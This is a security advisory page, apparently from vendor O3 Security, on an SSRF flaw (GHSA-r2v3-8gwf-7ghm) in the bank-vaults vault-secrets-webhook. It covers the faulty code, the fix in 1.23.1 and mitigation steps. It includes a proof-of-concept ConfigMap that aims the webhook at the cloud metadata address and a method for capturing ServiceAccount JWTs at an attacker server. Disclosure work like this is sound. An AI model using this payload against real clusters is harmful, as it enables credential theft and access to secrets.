GHSA-r2v3-8gwf-7ghm is a critical-severity (CVSS 9.6) Server-Side Request Forgery (SSRF) vulnerability in github.com/bank-vaults/vault-secrets-webhook. O3 Security confirms whether GHSA-r2v3-8gwf-7ghm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r2v3-8gwf-7ghm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-r2v3-8gwf-7ghm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 374,847 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/bank-vaults/vault-secrets-webhookReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The vault-secrets-webhook reads the vault.security.banzaicloud.io/vault-addr annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with vault:, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants serviceaccounts/token:create cluster-wide, and the vault-serviceaccount annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.
Details
parseVaultConfig() at pkg/webhook/config.go:102-107 reads VaultAddrAnnotation unconditionally into vaultConfig.Addr:
if value, ok := annotations[common.VaultAddrAnnotation]; ok {
vaultConfig.Addr = value
}
No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.
MutateConfigMap and MutateSecret at pkg/webhook/configmap.go and pkg/webhook/secret.go call mw.newVaultClient(ctx, vaultConfig) when the object contains at least one vault:... value. Inside newVaultClient, at pkg/webhook/webhook.go:285:
clientConfig.Address = vaultConfig.Addr
vault.NewClientFromConfigWithContext then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.
The vault-skip-verify annotation (pkg/webhook/config.go:197) sets InsecureSkipVerify: true on the TLS config, eliminating the need for a valid certificate on the attacker's server.
When VaultServiceaccountAnnotation is also set, at pkg/webhook/webhook.go:
mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(
ctx, saName, &tokenRequest, metav1.CreateOptions{})
The webhook's ClusterRole (deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml) grants serviceaccounts/token:create cluster-wide. The resulting JWT is then POSTed to vaultConfig.Addr/v1/auth/<path>/login. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.
Proof of Concept
Create a ConfigMap in any watched namespace:
apiVersion: v1
kind: ConfigMap
metadata:
name: ssrf-poc
namespace: tenant-ns
annotations:
vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
vault.security.banzaicloud.io/vault-skip-verify: "true"
vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"
data:
secret-key: "vault:secret/data/test#value"
When this ConfigMap is created, the vault-secrets-webhook admission handler:
- Parses the annotations and reads
vault-addr: http://169.254.169.254/latest/meta-data/ - Calls
CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)using cluster-wideserviceaccounts/token:create - Calls
vault.NewClientFromConfigWithContextwhich POSTs the JWT tohttp://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login - On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity
For the SA token theft path: run an HTTP server at the attacker-controlled vault-addr to capture the Authorization: Bearer <JWT> header from the login POST.
Impact
A user with create or update on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:
- Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS
- Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access
The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/bank-vaults/vault-secrets-webhook | all versions | 1.23.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/bank-vaults/vault-secrets-webhook. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/bank-vaults/vault-secrets-webhook to 1.23.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r2v3-8gwf-7ghm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r2v3-8gwf-7ghm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r2v3-8gwf-7ghm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r2v3-8gwf-7ghm in your dependencies?
O3 detects GHSA-r2v3-8gwf-7ghm across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.